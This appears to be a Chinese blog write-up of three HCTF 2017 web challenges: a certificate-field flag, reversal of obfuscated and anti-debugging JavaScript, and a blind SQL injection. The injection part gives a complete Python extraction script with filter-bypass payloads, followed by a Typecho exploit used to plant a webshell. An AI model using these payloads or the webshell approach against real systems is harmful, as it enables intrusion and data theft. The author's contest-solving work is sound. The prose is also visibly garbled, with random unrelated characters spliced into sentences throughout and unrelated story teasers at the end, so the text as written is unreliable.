2017HCTF 三道Web題解

總結: 今年HCTF 比較難,總共兩天就作出三道題,第二關的js逆向題更是做了快一天了框都,之前對js調試沒有接觸過, 就一直用chrome的調試窗口調試js, 看了一天眼睛都看花了呵晨,最后把js所有邏輯都分析了一遍才艱難的做出來

easy_sign_in

用chrome瀏覽器打開后頁面顯示Why does your browser issue a warning? 而且網(wǎng)站的https的圖標被報警告了魏保, 結合提示,應該是證書的問題摸屠,使用的自簽名的證書而不是CA頒發(fā)的證書谓罗, 推薦用Firefox瀏覽器打開查看證書信息 或者下載證書下來用openssl查看:

?root?/home/ctfwp2017/HCTF/Web??? openssl x509 -noout -text -in flag.crt 
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number:
            f5:02:e2:6f:2e:c9:e8:3e
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
        Validity
            Not Before: Nov  8 08:17:41 2017 GMT
            Not After : Nov  6 08:17:41 2027 GMT
        Subject: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:b7:5d:f3:ed:17:01:c2:82:1c:39:70:20:cf:9e:
                    09:3d:ea:d2:06:8b:ec:46:f2:3a:68:a9:43:94:33:
                    ce:93:fe:1e:b8:f1:59:21:dd:81:d1:9b:1d:37:ec:
                    74:19:25:53:13:4f:9d:a9:bc:13:87:03:33:32:9b:
                    6b:37:67:4c:99:3a:69:6f:9f:2d:c2:a7:41:ef:10:
                    ef:bd:35:d2:b7:73:e3:01:fa:9c:16:6e:d9:f3:ee:
                    84:cd:32:c7:cd:83:30:12:83:6d:f8:fd:70:89:21:
                    f3:71:bd:e0:7f:f7:03:12:92:f9:86:ec:21:88:8a:
                    0f:68:55:82:ed:18:a8:f8:59
                Exponent: 65537 (0x10001)
    Signature Algorithm: sha256WithRSAEncryption
         6d:f3:d6:9e:bc:1d:51:01:2d:16:7d:22:f1:ca:22:03:fe:2e:
         8a:2c:14:68:43:ca:4e:5a:f8:ab:b0:16:5a:5c:2a:54:72:2a:
         7f:ea:44:9c:fc:36:df:d5:95:4f:fc:44:fb:da:9f:20:95:a4:
         a6:d2:02:6a:a5:57:56:2d:17:94:b2:29:56:5b:53:5d:1a:54:
         fe:e0:d8:04:ae:57:6d:ee:57:bb:15:9c:f9:35:39:23:ca:3f:
         3d:cb:a3:3a:0e:91:7d:7e:09:ee:3a:ea:98:d6:1b:52:ae:23:
         34:e9:66:24:e6:5b:53:cc:40:eb:ce:ee:73:6a:33:f0:3f:75:
         40:22

我們根據(jù)提示來看下Issuer字段都有那些東西Issuer: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
C(Country)是國家CN, L(Locality)是城市,Default City, O(Organization)是組織季二, OU其他內容為: flag in

發(fā)現(xiàn)組織這里有一個陌生的ip, 訪問即可得到flag

BabyCrack

描述
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Please make sure hint 4!!!

查看源代碼發(fā)現(xiàn)=_=.js中有一大段js代碼檩咱,就補貼了, 這里利用chrome的調試器格式化一下js代碼即可

下面是程序的大致框架胯舷, 強烈建議對一些常用函數(shù)改名刻蚯,因為看到滿屏十六進制函數(shù)名你會感覺到出題人深深的惡意的, 下面是我對一些函數(shù)改名后的代碼

var strDict = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace', '(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();', '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log', 'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...', 'window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function', 'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://', 'Url\x20error', 'query', 'filter', 'active', 'floor'];
(function(_0xd4b7d6, _0xad25ab) {
    var _0x5e3956 = function(_0x1661d3) {
        while (--_0x1661d3) {
            _0xd4b7d6['push'](_0xd4b7d6['shift']());
        }
    };
    _0x5e3956(++_0xad25ab);
}(strDict, 0x1a2));
var getStr = function(_0x5c351c, _0x2046d8) {
    _0x5c351c = _0x5c351c - 0x0;
    var _0x26f3b3 = strDict[_0x5c351c];
    return _0x26f3b3;
};
function check(_0x5b7c0c) {
}
...
...
...

function test() {
    var _0x5bf136 = document[getStr('0x32')](getStr('0x33'))['value'];
    if (_0x5bf136 == '') {
        console[getStr('0x34')](getStr('0x35'));
        return ![];
    }
    var _0x4d0e29 = check(_0x5bf136);
    if (_0x4d0e29) {
        alert(getStr('0x36'));
    } else {
        alert(getStr('0x37'));
    }
}
window['onload'] = function() {
    setInterval(getStr('0x38'), 0x32);
    test();
}
;

程序的如擴函數(shù)是test(), 獲取我們輸入的值(flag), 調用check()來驗證桑嘶,如果返回非0,則彈框成功炊汹,否則彈框失敗

我們來看下check()這個主要的驗證函數(shù):

        var strDict2 = ['code', getStr('0x0'), getStr('0x1'), getStr('0x2'), 'invalidMonetizationCode', getStr('0x3'), getStr('0x4'), getStr('0x5'), getStr('0x6'), getStr('0x7'), getStr('0x8'), getStr('0x9'), getStr('0xa'), getStr('0xb'), getStr('0xc'), getStr('0xd'), getStr('0xe'), getStr('0xf'), getStr('0x10'), getStr('0x11'), 'url', getStr('0x12'), getStr('0x13'), getStr('0x14'), getStr('0x15'), getStr('0x16'), getStr('0x17'), getStr('0x18'), 'tabs', getStr('0x19'), getStr('0x1a'), getStr('0x1b'), getStr('0x1c'), getStr('0x1d'), 'replace', getStr('0x1e'), getStr('0x1f'), 'includes', getStr('0x20'), 'length', getStr('0x21'), getStr('0x22'), getStr('0x23'), getStr('0x24'), getStr('0x25'), getStr('0x26'), getStr('0x27'), getStr('0x28'), getStr('0x29'), 'toString', getStr('0x2a'), 'split'];
        var _0x50559f = _0x5b7c0c[strDict2[0x5]](0x0, 0x4);
        var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
        eval(function(_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
            _0x2d59cf = function(_0x4be75f) {
                return _0x4be75f['toString'](_0x177f13);
            }
            ;
            if (!''['replace'](/^/, String)) {
                while (_0x46da6f--)
                    _0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
                _0x802d91 = [function(_0x5e8f1a) {
                    return _0x2829f2[_0x5e8f1a];
                }
                ];
                _0x2d59cf = function() {
                    return getStr('0x2b');
                }
                ;
                _0x46da6f = 0x1;
            }
            ;while (_0x46da6f--)
                if (_0x802d91[_0x46da6f])
                    _0x200db2 = _0x200db2[getStr('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb','g'), _0x802d91[_0x46da6f]);
            return _0x200db2;
        }(getStr('0x2d'), 0x11, 0x11, getStr('0x2e')['split']('|'), 0x0, {}));
    

check 定義了大量的函數(shù),要學會分析去掉一些混淆無用的函數(shù)逃顶, 比如開頭的eval函數(shù)讨便,比較復雜,分析了好久以政,最后才發(fā)現(xiàn)執(zhí)行一段反調試的程序霸褒,導致程序一運行到這里就進入死循環(huán), 我被坑在這里好久妙蔗,最后才反映過來傲霸, 浪費了大量的時間
我們看下eval函數(shù)的傳入的參數(shù):(getStr('0x2d'), 0x11, 0x11, getStr('0x2e')['split']('|'), 0x0, {})) 并沒有傳入我們輸入的值,因此是一個混淆的無用函數(shù)眉反,這里可以選擇注釋或者把eval改成alert 查看下最后執(zhí)行的是什么內容

(function () {
  (function a() {
    try {
      (function b(i) {
        if (('' + (i / i)).length !== 1 || i % 20 === 0) {
          (function () {
          }).constructor('debugger') ()
        } else {
          debugger
        }
        b(++i)
      }) (0)
    } catch (e) {
      setTimeout(a, 5000)
    }
  }) ()
}) ();

最后eval 函數(shù)執(zhí)行這樣的一段匿名函數(shù)昙啄, 導致一直無法繼續(xù)調試下去,這里我們選擇注釋然后繼續(xù)看下面的內容

    (function(_0x3291b7, _0xced890) {
        var _0xaed809 = function(_0x3aba26) {
            while (--_0x3aba26) {
                _0x3291b7[getStr('0x4')](_0x3291b7['shift']());
            }
        };
        _0xaed809(++_0xced890);
    }(strDict2, _0x5cea12 % 0x7b));
    var getStr2 = function(_0x3120e0) {
        var _0x3120e0 = parseInt(_0x3120e0, 0x10);
        var _0x3a882f = strDict2[_0x3120e0];
        return _0x3a882f;
    };
    var tohex = function(_0x52ba71) {
        var _0x52b956 = '0x';
        for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[getStr2(0x8)]; _0x59c050++) {
            _0x52b956 += _0x52ba71[getStr2('f')](_0x59c050)[getStr2(0xc)](0x10);
        }
        return _0x52b956;
    };

之后又定義了一個無用的匿名函數(shù)(匿名函數(shù)無法被調用寸五,因此一般是沒有用的), 可以選擇step over 跳過去梳凛, getStr2() 函數(shù)是一個獲取strDict2數(shù)組元素的函數(shù), tohex()函數(shù)是一個字符串轉hex的函數(shù)

        var _0x76e1e8 = _0x5b7c0c["split"]('_');
        var _0x34f55b = (tohex(_0x76e1e8[0x0][getStr2(0xd)](-0x2, 0x2)) ^ tohex(_0x76e1e8[0x0][getStr2(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][getStr2(0x8)] == 0x5;
        if (!_0x34f55b) {
            return ![];
        }
        b2c = function(_0x3f9bc5) {  //對第三個參數(shù)base32
            var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
            var _0x4dc510 = [];
            var _0x4a199f = Math[getStr('0x25')](_0x3f9bc5[getStr2(0x8)] / 0x5);
            var _0x4ee491 = _0x3f9bc5[getStr2(0x8)] % 0x5;
            if (_0x4ee491 != 0x0) {
                for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
                    _0x3f9bc5 += '';
                }
                _0x4a199f += 0x1;
            }
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')](_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5) >> 0x3));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
                _0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')](_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
            }
            var _0x545c12 = 0x0;
            if (_0x4ee491 == 0x1)
                _0x545c12 = 0x6;
            else if (_0x4ee491 == 0x2)
                _0x545c12 = 0x4;
            else if (_0x4ee491 == 0x3)
                _0x545c12 = 0x3;
            else if (_0x4ee491 == 0x4)
                _0x545c12 = 0x1;
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++)
                _0x4dc510[getStr('0x2f')]();
            for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++)
                _0x4dc510[getStr2('1b')]('=');
            // (function() {
            //     (function _0x3c3bd8() {
            //         try {
            //             (function _0x4dc510(_0x460a91) {
            //                 if (('' + _0x460a91 / _0x460a91)[getStr('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
            //                     (function() {}
            //                     ['constructor']('debugger')());
            //                 } else {
            //                     debugger ;
            //                 }
            //                 _0x4dc510(++_0x460a91);
            //             }(0x0));
            //         } catch (_0x30f185) {
            //             setTimeout(_0x3c3bd8, 0x1388);
            //         }
            //     }());
            // }());
            return _0x4dc510[getStr('0x31')]('');
        }
        ;

var _0x76e1e8 = _0x5b7c0c["split"]('_'); 把flag根據(jù)_分隔成幾個子串梳杏,還是去年的套路韧拒,把flag分成幾段淹接,分別去解出來,然后拼接起來

var _0x34f55b = (tohex(_0x76e1e8[0x0][getStr2(0xd)](-0x2, 0x2)) ^ tohex(_0x76e1e8[0x0][getStr2(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][getStr2(0x8)] == 0x5;
        if (!_0x34f55b) {
            return ![];
        }

這里判斷了第一個子串叛溢,用子串后兩位異或第五位對子串長度求余塑悼,如果結果不等于5, 就退出程序,flag第五位是{, 第一個子串猜測長度為7(這里只出現(xiàn)了7位)楷掉,寫一個腳本去爆破后兩位:

import exrex
pattern = '[0123456789abcdefghijklmnopqrstuvwxyz]{2}'
for i in exrex.generate(pattern):
    if (int((i).encode('hex'),16) ^ 0x7b) % 7 == 5:
        print 'res:',i 

得到很多個結果厢蒜,我們選擇一個js 先暫時繞過這個判斷(最后是需要根據(jù)提供的flag的hash值去爆破的), 于是我們得到第一個字串長度為flag[0] = 'hctf{js'

繼續(xù)看b2c函數(shù), 該函數(shù)通過分析發(fā)現(xiàn)是一個str 轉base32的函數(shù)(可以通過直接看返回值烹植,跳過一步一步調試的去看斑鸦, 中間一個匿名函數(shù)也是反調試的混淆代碼,這里直接注釋了)

        e = tohex(b2c(_0x76e1e8[0x2])["split"]('=')[0x0]) ^ 0x53a3f32;  //去掉= 后轉hex
        if (e != 0x4b7c0a73) {  //NF5A  iz
            return ![];
        }
        f = tohex(b2c(_0x76e1e8[0x3])["split"]('=')[0x0]) ^ e;  //OMYA  s0
        if (f != 0x4315332) {
            return ![];
        }
        n = f * e * _0x76e1e8[0x0][getStr2(0x8)];
        h = function(_0x4c466e, _0x28871) {
            var _0x3ea581 = '';
            for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[getStr2(0x8)]; _0x2fbf7a++) {
                _0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
            }
            return _0x3ea581;
        }
        ;
        j = _0x76e1e8[0x1]["split"]('3');
        if (j[0x0][getStr2(0x8)] != j[0x1][getStr2(0x8)] || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613) {
            return ![];
        }
        k = _0xffcc52=>_0xffcc52[getStr2('f')]() * _0x76e1e8[0x1][getStr2(0x8)];
        l = h(j[0x0], k);
        if (l != 0x2f9b5072) {
            return ![];
        }
        m = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;
        function _0x5a6d56(_0x5a25ab, _0x4a4483) {
            var _0x55b09f = '';
            for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
                _0x55b09f += _0x5a25ab;
            }
            return _0x55b09f;
        }
        if (!m || _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) {
            return ![];
        }
        o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
        tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2)
        return o && _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2);

e和 f都是對flag[2],flag[3] 進行判斷的草雕,都只是簡單地異或操作巷屿,解出來是iz和s0,
j = _0x76e1e8[0x1]["split"]('3'); 這一段又把flag[1]分成了兩個字串j[0],j[1], 判斷條件為:j[0x0][getStr2(0x8)] != j[0x1][getStr2(0x8)] || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613

也是一個異或操作墩虹, 并不能確定具體是什么嘱巾,我們繼續(xù)來看, k定義了一個類似lambda的函數(shù)_0xffcc52=>_0xffcc52[getStr2('f')]() * _0x76e1e8[0x1][getStr2(0x8)], 然后把j[0]和k都傳入h函數(shù), h函數(shù)把j[0]的每一位都傳入k函數(shù)然后對結果拼接起來诫钓,最后需要等于0x2f9b5072, js的弱類型會認為 12 == 0xc,即數(shù)字字符串12和0xc是相同的, 0x2f9b5072=798707826, 把798,707,826 分別傳入通過逆回去浓冒,flag[1]長度為7, 解出來j[0]為rev, 通過第一次的異或的比較,得到另一串為rse, 因此flag[1] = rev3rse

m 是對flag[4]的前四位的判斷尖坤, 算出來是h4rd, _0x5a6d56是一個repeat函數(shù), 后面兩個判斷都是對flag[4]子串進行判斷的:

 if (!m || _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) {
        return ![];
    }
    o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
   
    return o && _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2);

這段代碼比較繞,我們需要迅速找到能夠快速確定值的地方,比如_0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 我們就可以確定第第五位是2, 反推前面_0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) 可以確定倒數(shù)第二位是3

這個時候我們可以確定的內容還是比較少闲擦,我們回到題目的一些提示

1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"

題目給出了這四位的值慢味, 第一個判斷有一個是這樣的_0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4)

需要讓這個條件不成立,(0x5, 0x1)是未知的墅冷,(-0x5, 0x4)我們知道是"3333", 我們可以大膽猜想(5,1) =(-8,1)= "3" , 這樣纯路,我們第四個子串的已知部分為: h4rd23**3333}

只剩下第七位和第八位了, 通過_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2) 這個判斷我們知道第七位和第八位應該是相同的(用了_0x5a6d56這個repeat函數(shù)),
o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5; 這個判斷需要我們學一個腳本去爆破下看那些符合這個條件的字符:

s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
for i in s:
    #print ord(i)*13*5
    try:
        if int((i+i).encode('hex').replace('0x','')) == ord(i)*13*5:
            print i
    except:
        pass

最后爆出來字符e滿足,所有最后的flag應該是: hctf{js_rev3rse_iz_s0_h4rd23ee3333}, 提交到輸入框中確實彈出答案正確寞忿,但提交flag卻顯示錯誤驰唬, 這就是為什么題目給了flag的hash值了, 因為js這兩位是不確定的腔彰,可以是其他的字符串叫编,因此這里通過hash來爆破flag

import hashlib

pattern = '[0123456789abcdefghijklmnopqrstuvwxyz]{2}'
for i in exrex.generate(pattern):
    if (int((i).encode('hex'),16) ^ 0x7b) % 7 == 5:
        print 'res:',i 
        flag = "hctf{%s_rev3rse_iz_s0_h4rd23ee3333}"%i 
        if hashlib.new('sha256',flag).hexdigest() == 'd3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443':
            print flag 
            break

最后解出來flag為: hctf{j5_rev3rse_iz_s0_h4rd23ee3333}

SQL Silencer

描述
What you need is in database

手動fuzz下發(fā)現(xiàn)過濾了+,-,*,空格,password,order,limit,and,or,'' infomation,table_name 這些, 試了下id=2|3, id=2|2 發(fā)現(xiàn)可以控制id霹抛,說明存在注入搓逾,這里我用的payload為id=1^1^1, 腳本如下:

#!/usr/bin/env python
#coding:utf-8
import requests
import urllib

url = "http://sqls.2017.hctf.io/index/index.php?id="
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
#hex_s = '  !"#$%&`()*+,-./0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}~'
hex_s = ["20","21","22","23","24","25","26","27","28","29","2A","2B","2C","2D","2E","2F","30","31","32","33","34","35","36","37","38","39","3A","3B","3C","3C","3D","3E","3F","40","41","42","43","44","45","46","47","48","49","4A","4B","4C","4D","4E","4F","50","51","52","53","54","55","56","57","58","59","5A","5B","5C","5D","5E","5F","60","61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","7B","7D","7E","7F"]
old_char = ''
payload = "1^((select%0aflag%0afrom%0aflag%0awhere%0aflag>binary(0x60))>binary(0x{}))^1"


def access(p):
    param = payload.format(old_char+p)
    res = requests.get(url+param,headers=headers).content
    #print param,res
    if 'Alice' in res:
        return True
    else:
        return False    

def erfen():
    global old_char
    for y in hex_s:
        l = 0
        r = len(hex_s)
        while l<r:
            mid = (l+r)/2
            if access(hex_s[mid]): # 如果為1,說明flag該位的值大于mid
                l = mid+1
            else:
                r = mid
        old_char += hex_s[l-1]
        #print l
        if l > 94:
            return old_char[:-2].decode('hex')
            break
        print 'data => ',old_char.decode('hex')

if __name__ == '__main__':
    s = erfen()
    print 'flag:',s[:-1]+chr(ord(s[-1])+1)

有一處比較坑的地方是: flag表里面有不止一條數(shù)據(jù), 還禁用了limit函數(shù)杯拐,導致只取一條數(shù)據(jù)霞篡,這里利用where flag>binary(0x50) 再做一次篩選即可

發(fā)現(xiàn)flag表里面有兩條數(shù)據(jù):

./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/  
What_U_n33d_1s_under_m3

訪問這個目錄403, 掃目錄后發(fā)現(xiàn)了一些有趣的文件比如admin/index.php
, 從后臺可以看出這是一個typecho的站點世蔗,想到前不久剛爆出的typecho的漏洞,之前正好也分析了一波朗兵, 這里直接上傳到根目錄是沒有權限的污淋,我們可以上傳到uploads目錄下面, 最后成功getshell 菜刀連上去在根目錄發(fā)現(xiàn)flag

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末余掖,一起剝皮案震驚了整個濱河市寸爆,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌浊吏,老刑警劉巖而昨,帶你破解...
    沈念sama閱讀 218,525評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異找田,居然都是意外死亡歌憨,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,203評論 3 395
  • 文/潘曉璐 我一進店門墩衙,熙熙樓的掌柜王于貴愁眉苦臉地迎上來务嫡,“玉大人,你說我怎么就攤上這事漆改⌒牧澹” “怎么了?”我有些...
    開封第一講書人閱讀 164,862評論 0 354
  • 文/不壞的土叔 我叫張陵挫剑,是天一觀的道長去扣。 經常有香客問我,道長樊破,這世上最難降的妖魔是什么愉棱? 我笑而不...
    開封第一講書人閱讀 58,728評論 1 294
  • 正文 為了忘掉前任,我火速辦了婚禮哲戚,結果婚禮上奔滑,老公的妹妹穿的比我還像新娘。我一直安慰自己顺少,他們只是感情好朋其,可當我...
    茶點故事閱讀 67,743評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著脆炎,像睡著了一般梅猿。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上秒裕,一...
    開封第一講書人閱讀 51,590評論 1 305
  • 那天粒没,我揣著相機與錄音,去河邊找鬼簇爆。 笑死癞松,一個胖子當著我的面吹牛爽撒,可吹牛的內容都是我干的。 我是一名探鬼主播响蓉,決...
    沈念sama閱讀 40,330評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼硕勿,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了枫甲?” 一聲冷哼從身側響起源武,我...
    開封第一講書人閱讀 39,244評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎想幻,沒想到半個月后粱栖,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經...
    沈念sama閱讀 45,693評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡脏毯,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,885評論 3 336
  • 正文 我和宋清朗相戀三年闹究,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片食店。...
    茶點故事閱讀 40,001評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡渣淤,死狀恐怖,靈堂內的尸體忽然破棺而出吉嫩,到底是詐尸還是另有隱情价认,我是刑警寧澤,帶...
    沈念sama閱讀 35,723評論 5 346
  • 正文 年R本政府宣布自娩,位于F島的核電站用踩,受9級特大地震影響,放射性物質發(fā)生泄漏忙迁。R本人自食惡果不足惜捶箱,卻給世界環(huán)境...
    茶點故事閱讀 41,343評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望动漾。 院中可真熱鬧,春花似錦荠锭、人聲如沸旱眯。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,919評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽删豺。三九已至,卻和暖如春愧怜,著一層夾襖步出監(jiān)牢的瞬間呀页,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,042評論 1 270
  • 我被黑心中介騙來泰國打工拥坛, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留蓬蝶,地道東北人尘分。 一個月前我還...
    沈念sama閱讀 48,191評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像丸氛,于是被迫代替她去往敵國和親培愁。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,955評論 2 355

推薦閱讀更多精彩內容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,144評論 25 707
  • 計算機二級C語言上機題庫(南開版) 1.m個人的成績存放在score數(shù)組中缓窜,請編寫函數(shù)fun,它的功能是:將低于平...
    MrSunbeam閱讀 6,371評論 1 42
  • *面試心聲:其實這些題本人都沒怎么背,但是在上海 兩周半 面了大約10家 收到差不多3個offer,總結起來就是把...
    Dove_iOS閱讀 27,145評論 30 470
  • 古人云:一葉落而知天下秋定续。而我說,一葉落也并不意味著秋至禾锤。 寒風冽冽私股,瀟瀟細雨中幾片落葉隨風而落...
    待曦閱讀 396評論 4 12
  • 愛自己倡鲸,全力以赴的做好自己認為正確和有必要去做的事情。 比如作息正常 比如運動每周1-3次 比如工作每天敬業(yè)8小時...
    張MAX閱讀 263評論 0 0